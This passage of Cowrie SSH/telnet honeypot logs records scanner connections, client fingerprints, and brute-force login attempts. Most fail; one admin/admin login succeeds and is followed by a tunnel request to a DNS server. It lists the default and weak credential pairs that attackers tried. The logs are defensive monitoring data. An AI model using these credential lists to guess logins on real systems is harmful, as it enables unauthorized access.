512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:20:13.931022Z","src_ip":"45.173.103.113","session":"852071e94485","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:20:14.378390Z","src_ip":"45.173.103.113","session":"852071e94485","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:20:15.487559Z","src_ip":"45.173.103.113","session":"852071e94485","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":59976,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8453431ebbc","protocol":"telnet","message":"New connection: 79.139.59.21:59976 (159.203.135.109:23) [session: c8453431ebbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:20:32.179404Z"}
{"eventid":"cowrie.session.closed","duration":41.68967247009277,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:21:13.868937Z","src_ip":"79.139.59.21","session":"c8453431ebbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.135.235.126","src_port":57252,"dst_ip":"10.17.0.5","dst_port":22,"session":"5121741d20b8","protocol":"ssh","message":"New connection: 115.135.235.126:57252 (10.17.0.5:22) [session: 5121741d20b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:21:43.734083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:21:43.738667Z","src_ip":"115.135.235.126","session":"5121741d20b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:21:44.037036Z","src_ip":"115.135.235.126","session":"5121741d20b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"valheim","password":"valheim123","message":"login attempt [valheim/valheim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:21:45.193732Z","src_ip":"115.135.235.126","session":"5121741d20b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:21:46.474933Z","src_ip":"115.135.235.126","session":"5121741d20b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.173.103.113","src_port":54326,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cbec5b079cb","protocol":"ssh","message":"New connection: 45.173.103.113:54326 (10.17.0.5:22) [session: 5cbec5b079cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:21:57.408972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:21:57.418290Z","src_ip":"45.173.103.113","session":"5cbec5b079cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:21:57.520673Z","src_ip":"45.173.103.113","session":"5cbec5b079cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"player","password":"player","message":"login attempt [player/player] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:21:57.961761Z","src_ip":"45.173.103.113","session":"5cbec5b079cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:21:59.067153Z","src_ip":"45.173.103.113","session":"5cbec5b079cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":32860,"dst_ip":"10.17.0.5","dst_port":22,"session":"19b9279c7b4d","protocol":"ssh","message":"New connection: 87.251.64.176:32860 (10.17.0.5:22) [session: 19b9279c7b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:22:14.582743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:22:14.586991Z","src_ip":"87.251.64.176","session":"19b9279c7b4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:22:14.681787Z","src_ip":"87.251.64.176","session":"19b9279c7b4d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:22:14.966465Z","src_ip":"87.251.64.176","session":"19b9279c7b4d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:22:15.064537Z","session":"19b9279c7b4d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:22:15.162617Z","src_ip":"87.251.64.176","session":"19b9279c7b4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:22:15.264277Z","src_ip":"87.251.64.176","session":"19b9279c7b4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":47186,"dst_ip":"159.203.135.109","dst_port":22,"session":"97d63a75bedb","protocol":"ssh","message":"New connection: 194.59.206.2:47186 (159.203.135.109:22) [session: 97d63a75bedb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:22:19.155445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:22:19.159763Z","src_ip":"194.59.206.2","session":"97d63a75bedb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:22:19.263909Z","src_ip":"194.59.206.2","session":"97d63a75bedb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:22:19.376224Z","src_ip":"194.59.206.2","session":"97d63a75bedb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":36926,"dst_ip":"10.17.0.5","dst_port":22,"session":"3670f960a16c","protocol":"ssh","message":"New connection: 103.27.238.116:36926 (10.17.0.5:22) [session: 3670f960a16c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:22:35.951958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:22:35.957731Z","src_ip":"103.27.238.116","session":"3670f960a16c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":33922,"dst_ip":"10.17.0.5","dst_port":22,"session":"38fd107ec31c","protocol":"ssh","message":"New connection: 103.27.238.120:33922 (10.17.0.5:22) [session: 38fd107ec31c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:22:35.986757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:22:35.991910Z","src_ip":"103.27.238.120","session":"38fd107ec31c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:22:36.222490Z","src_ip":"103.27.238.116","session":"3670f960a16c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:22:36.266817Z","src_ip":"103.27.238.120","session":"38fd107ec31c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"31121987","message":"login attempt [root/31121987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:22:37.013251Z","src_ip":"103.27.238.116","session":"3670f960a16c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678y","message":"login attempt [root/12345678y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:22:37.092016Z","src_ip":"103.27.238.120","session":"38fd107ec31c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:22:38.279535Z","src_ip":"103.27.238.116","session":"3670f960a16c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:22:38.368734Z","src_ip":"103.27.238.120","session":"38fd107ec31c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":44298,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f3ca237afab","protocol":"ssh","message":"New connection: 103.15.222.183:44298 (10.17.0.5:22) [session: 8f3ca237afab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:23:04.091153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:23:04.096626Z","src_ip":"103.15.222.183","session":"8f3ca237afab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:23:04.342877Z","src_ip":"103.15.222.183","session":"8f3ca237afab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vlada","message":"login attempt [root/vlada] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:23:05.080089Z","src_ip":"103.15.222.183","session":"8f3ca237afab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:23:06.329793Z","src_ip":"103.15.222.183","session":"8f3ca237afab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"39ee4b535f19","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: 39ee4b535f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:23:11.405259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:23:11.410015Z","src_ip":"23.97.62.150","session":"39ee4b535f19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","